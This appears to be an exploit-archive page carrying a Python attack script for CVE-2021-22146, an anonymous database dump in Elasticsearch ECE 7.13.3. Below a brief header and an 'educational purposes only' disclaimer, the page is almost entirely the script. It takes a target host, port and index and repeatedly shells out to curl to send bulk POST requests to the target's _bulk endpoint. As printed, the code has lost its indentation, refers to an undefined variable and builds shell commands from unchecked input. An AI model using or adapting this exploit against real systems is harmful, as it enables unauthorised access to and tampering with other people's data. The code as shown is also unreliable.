Elasticsearch ece 7.13.3 anonymous database dump Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-07-26 | Type : webapps | Platform : multiple
This exploit / vulnerability Elasticsearch ece 7.13.3 anonymous database dump is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump
# Date: 2021-07-21
# Exploit Author: Joan Martinez @magichk
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://www.elastic.co/
# Version: >= 7.10.0 to <= 7.13.3
# Tested on: Elastic ECE (Cloud)
# CVE : CVE-2021-22146
# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180

import os
import argparse
import sys

######### Check Arguments
def checkArgs():
parser = argparse.ArgumentParser()
parser = argparse.ArgumentParser(description='Elasticdump 1.0\n')
parser.add_argument('-s', "--host", action="store",
dest='host',
help="Host to attack.")
parser.add_argument('-p', "--port", action="store",
dest='port',
help="Elastic search port by default 9200 or 9201")
parser.add_argument('-i', "--index", action="store",
dest='index',
help="Index to dump (Example: 30)")


args = parser.parse_args()
if (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :
parser.print_help(sys.stderr)
sys.exit(1)
return args

def banner():
print(" _ _ _ _")
print(" ___| | __ _ ___| |_(_) ___ __| |_ _ _ __ ___ _ __")
print(" / _ \ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \| '_ \ ")
print("| __/ | (_| \__ \ |_| | (_| (_| | |_| | | | | | | |_) |")
print(" \___|_|\__,_|___/\__|_|\___\__,_|\__,_|_| |_| |_| .__/")
print(" |_|")



def exploit(host,port,index):

if (index != 0):
final = int(index)
else:
final = 1000000000

cont = 0
while (cont <= final):
os.system("curl -X POST \""+host+":"+port+"/_bulk\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\x0d\x0a\"index\" : {\x0d\x0a \"_id\" :\""+str(cont)+"\"\x0d\x0a}\x0d\x0a}\x0d\x0a' -k -s")
cont = cont + 1

if __name__ == "__main__":

banner()
args = checkArgs()
if (args.index):
exploit(args.host,args.port,args.index)
else:
exploit(args.host,args.port,0)